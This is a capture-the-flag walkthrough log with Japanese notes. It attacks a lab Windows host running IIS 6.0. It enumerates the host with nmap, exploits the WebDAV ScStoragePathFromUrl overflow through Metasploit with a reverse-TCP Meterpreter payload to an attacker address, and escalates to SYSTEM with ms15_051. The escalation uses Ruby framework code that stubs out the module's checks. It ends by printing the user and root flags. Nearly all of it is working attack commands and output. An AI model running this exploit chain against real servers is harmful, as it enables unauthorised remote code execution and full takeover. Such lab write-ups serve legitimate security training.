nmap -Pn -p 80 -sV -sC --max-retries 2 10.129.84.88

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
| http-methods:
|_  Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
| http-webdav-scan:
|   Server Date: Sat, 17 Oct 2026 14:58:50 GMT
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
|   Server Type: Microsoft-IIS/6.0
|   WebDAV type: Unknown
|_  Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

echo "test" > davtest.txt
curl -s -i -X PUT --data-binary @davtest.txt "http://10.129.84.88/davtest.txt"

HTTP/1.1 403 Forbidden
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET

<TITLE>The page cannot be saved</TITLE>

IIS 6.0 の WebDAV拡張モジュール(httpext.dll)内、ScStoragePathFromUrl関数が
"If-x" ヘッダを含む特定のPROPFINDリクエストを処理する際にバッファオーバーフローを
起こす。NSA発のEternalBlue関連リーク(Shadow Brokers)で2017年に公開され、
w3wp.exe (IISワーカープロセス) のコンテキストでシェルコードを実行できる。
IISワーカーの実行アカウントは既定で NT AUTHORITY\NETWORK SERVICE のため、
フットホールドの時点でこの低権限シェルが直接得られる(認証不要)。

use exploit/windows/iis/iis_webdav_scstoragepathfromurl
set RHOSTS 10.129.84.88
set RPORT 80
set TARGETURI /
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.15.200
set LPORT 4540
run -j

[*] Started reverse TCP handler on 10.10.15.200:4540
[*] Trying path length 3 to 60 ...
[*] Sending stage (190534 bytes) to 10.129.84.88
[*] Meterpreter session 1 opened (10.10.15.200:4540 -> 10.129.84.88:1032)

sess.shell_command_token("whoami", 20)

nt authority\network service

sess.fs.dir.entries("C:\Documents and Settings\Harry\Desktop")
sess.shell_command_token('cmd.exe /c type "C:\Documents and Settings\Harry\Desktop\user.txt"', 15)

DESKTOP_ENTRIES: (空)
TYPE_OUT: Access is denied.

SESSION -1 (コンソールの set コマンド経由で "最新セッション" を意味させる) は
"Invalid session identifier: -1" で拒否される。そのため use/set/run のコンソール
フローではなく、Rubyコード内で framework.exploits.create(...) によりモジュール
オブジェクトを直接生成し、取得済みのフットホールドセッションの実IDを
datastore['SESSION'] に設定する方式でドライブする(Granny/Grandpaの実機検証で
確立済みの手法)。

mod = framework.exploits.create('windows/local/ms15_051_client_copy_image')
mod.datastore['SESSION'] = foothold_sess.sid
mod.datastore['TARGET'] = 0
mod.datastore['PAYLOAD'] = 'windows/meterpreter/reverse_tcp'
mod.datastore['LHOST'] = '10.10.15.200'
mod.datastore['LPORT'] = 4551

# NETWORK SERVICEセッションは sys.config.getsid / sysinfo が例外を投げるため、
# ms15_051 の事前チェックで即中断しないようスタブ化する
def mod.is_system?; false; end
def mod.sysinfo; {'Architecture' => 'x86'}; end

# payload.assoc_exploit を明示設定しないと SYSTEM セッションが
# framework.sessions に登録されない(set_from_exploit(nil) の NoMethodError)
pinst = mod.framework.payloads.create('windows/meterpreter/reverse_tcp')
pinst.datastore['LHOST'] = '10.10.15.200'
pinst.datastore['LPORT'] = 4551
pinst.assoc_exploit = mod
mod.generate_payload(pinst)

mod.setup   # これを呼ばないと LPORT 4551 の reverse handler が起動しない
mod.exploit

[*] Started reverse TCP handler on 10.10.15.200:4551
[*] Reflectively injecting the exploit DLL and executing it...
[*] Launching netsh to host the DLL...
[+] Process 1828 launched.
[*] Reflectively injecting the DLL into 1828...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (190534 bytes) to 10.129.84.88
[*] Meterpreter session 2 opened (10.10.15.200:4551 -> 10.129.84.88:1053)

root_sess.shell_command_token("whoami", 15)

nt authority\system

root_sess.fs.file.open('C:\Documents and Settings\Harry\Desktop\user.txt').read
root_sess.fs.file.open('C:\Documents and Settings\Administrator\Desktop\root.txt').read

USER_FLAG_FROM_SYSTEM: bdff5ec67c3cff017f2bedc146a5d869
ROOT_FLAG_FROM_SYSTEM: 9359e905a2c35f861f6a57cecf28bb7b